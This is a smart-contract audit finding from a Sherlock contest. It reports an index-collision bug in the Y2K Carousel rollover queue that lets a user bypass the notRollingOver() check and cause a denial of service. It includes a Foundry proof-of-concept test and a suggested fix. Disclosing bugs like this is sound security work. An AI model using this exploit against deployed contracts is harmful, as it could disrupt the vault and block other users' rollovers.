0xRobocop - The rolloverQueue can get DoSed due to an incorrect state update

[sherlock-admin]

0xRobocop

medium

The rolloverQueue can get DoSed due to an incorrect state update

Summary

On the mintRollovers() function when doing a rollover the shares of a given user will get burned in conjunction with the emissions, so he can get the new shares of the new available epochId. Because of this, the functions withdraw() and transferFrom() are protected with the modifier notRollingOver(), the user cannot withdraw or transfer the shares that he is rolling over.

Due to an incorrect state update, the user can bypass the notRollingOver() modifier, breaking with that the assumption of mintRollovers().

Vulnerability Detail

At the end of the enlistInRollover() function, we can find the following state update:

ownerToRollOverQueueIndex[_receiver] = rolloverQueue.length;

This is done even if the _receiver was already enlisted in the queue. This causes a collision with the last user that entered the queue, which means that:

ownerToRollOverQueueIndex[_receiver] == ownerToRollOverQueueIndex[_lastUser]

Now _receiver could use this collision to bypass the checks made by the modifier notRollingOver() when calling withdraw() or transferFrom(). Because mintRollovers() assumes that any user that is enlisted on the queue cannot withdraw or transfer the shares that were rolled over, it gets broken when trying to burn the corresponding shares.

Impact

Collision on ownerToRollOverQueueIndex[] and rolloverQueue DoSed

Code Snippet

https://github.com/sherlock-audit/2023-03-Y2K/blob/main/Earthquake/src/v2/Carousel/Carousel.sol#L268

https://github.com/sherlock-audit/2023-03-Y2K/blob/main/Earthquake/src/v2/Carousel/Carousel.sol#L408

Proof of Concept

1. Paste the following test on EndToEndCarouselTest.t.sol:

function testBreakRolloverQueueViaCollisionIndex() public {
        vm.startPrank(USER);

        //warp to deposit period
        vm.warp(begin - 1 days);

        //approve ether deposit
        IERC20(UNDERLYING).approve(premium, 2 ether);
        IERC20(UNDERLYING).approve(collateral, 10 ether);

        //deposit in carousel vaults
        Carousel(premium).deposit(0, 2 ether, USER);
        Carousel(collateral).deposit(0, 10 ether, USER);

        vm.stopPrank();

        vm.startPrank(USER2);

         //warp to deposit period
        vm.warp(begin - 1 days);

        //approve ether deposit
        IERC20(UNDERLYING).approve(collateral, 1 ether);

        //deposit in carousel vault
        Carousel(collateral).deposit(0, 1 ether, USER2);

        vm.stopPrank();

        //mint deposit in queue
        Carousel(collateral).mintDepositInQueue(epochId, 2);
        Carousel(premium).mintDepositInQueue(epochId, 1);

        
        vm.startPrank(USER);
        uint256 balance = Carousel(collateral).balanceOf(USER, epochId);
        Carousel(collateral).enlistInRollover(epochId, balance, USER);
        vm.stopPrank();

        vm.startPrank(USER2);
        uint256 balance2 = Carousel(collateral).balanceOf(USER2, epochId);
        Carousel(collateral).enlistInRollover(epochId, balance2, USER2);
        vm.stopPrank();

        // Different indexes USER2 is after USER
        assertGt(Carousel(collateral).getRolloverIndex(USER2), Carousel(collateral).getRolloverIndex(USER));

        // USER overwrites ownerToRollOverQueueIndex[]
        vm.startPrank(USER);
        Carousel(collateral).enlistInRollover(epochId, balance, USER);
        vm.stopPrank();

        // Same indexes
        assertEq(Carousel(collateral).getRolloverIndex(USER2), Carousel(collateral).getRolloverIndex(USER));

        //warp to end of epoch
        vm.warp(end + 1 days);

        // trigger end epoch
        // Collateral vault wins 
        controller.triggerEndEpoch(marketId, epochId);

        // User can now withdraw because notRollingover thinks he is only rolling over 1 ether.
        vm.startPrank(USER);
        Carousel(collateral).withdraw(epochId, 9 ether, USER, USER);
        vm.stopPrank();

        // mintRollovers() will fail due the attacker not having enough balances
        vm.expectRevert();
        Carousel(collateral).mintRollovers(nextEpochId, 2);
    }

2. Run: forge test --match-contract EndToEndCarouselTest --match-test testBreakRolloverQueueViaCollisionIndex

Tool used

Manual Review

Recommendation

Rewrite it as follows:

else {
    // if not, add to queue
    rolloverQueue.push(
    QueueItem({
        assets: _assets,
        receiver: _receiver,
        epochId: _epochId
      })
    );
    ownerToRollOverQueueIndex[_receiver] = rolloverQueue.length;
}
        

Duplicate of #2